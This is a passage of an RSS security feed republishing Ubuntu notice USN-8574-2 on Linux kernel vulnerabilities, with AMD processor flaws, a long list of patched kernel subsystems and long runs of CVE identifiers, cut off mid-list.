CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:01:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
